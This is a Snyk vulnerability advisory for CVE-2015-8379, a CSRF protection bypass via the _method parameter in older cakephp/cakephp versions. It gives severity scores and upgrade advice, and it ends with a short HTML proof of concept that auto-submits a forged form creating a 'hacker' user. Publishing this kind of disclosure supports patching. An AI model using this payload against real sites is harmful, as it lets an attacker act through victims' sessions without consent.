Cross-site Request Forgery (CSRF) Affecting cakephp/cakephp package, versions >=2.0.0-alpha, <3.1.5
Snyk CVSS
Attack Complexity
Low
User Interaction
Required
Confidentiality
High
Integrity
High
Availability
High
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
3.19% (92nd
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-PHP-CAKEPHPCAKEPHP-3252481
- published 29 Jan 2023
- disclosed 14 May 2022
- credit Egidio Romano of Minded Security.
Introduced: 14 May 2022
CVE-2015-8379 Open this link in a new tabHow to fix?
Upgrade cakephp/cakephp to version 3.1.5 or higher.
Overview
cakephp/cakephp is a rapid development framework for PHP which uses commonly known design patterns like Associative Data Mapping, Front Controller, and MVC.
Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) via the _method parameter, which allows a remote attacker to bypass the CSRF protection mechanism.
PoC
<html>
<body>
<form action="http://[HOST]/user/add" method="POST">
<input name="_method" type="hidden" value="CSRF" />
<input name="user" type="hidden" value="hacker" />
<input name="password" type="hidden" value="pwd" />
</form>
<script>document.forms[0].submit()</script>
</body>
</html>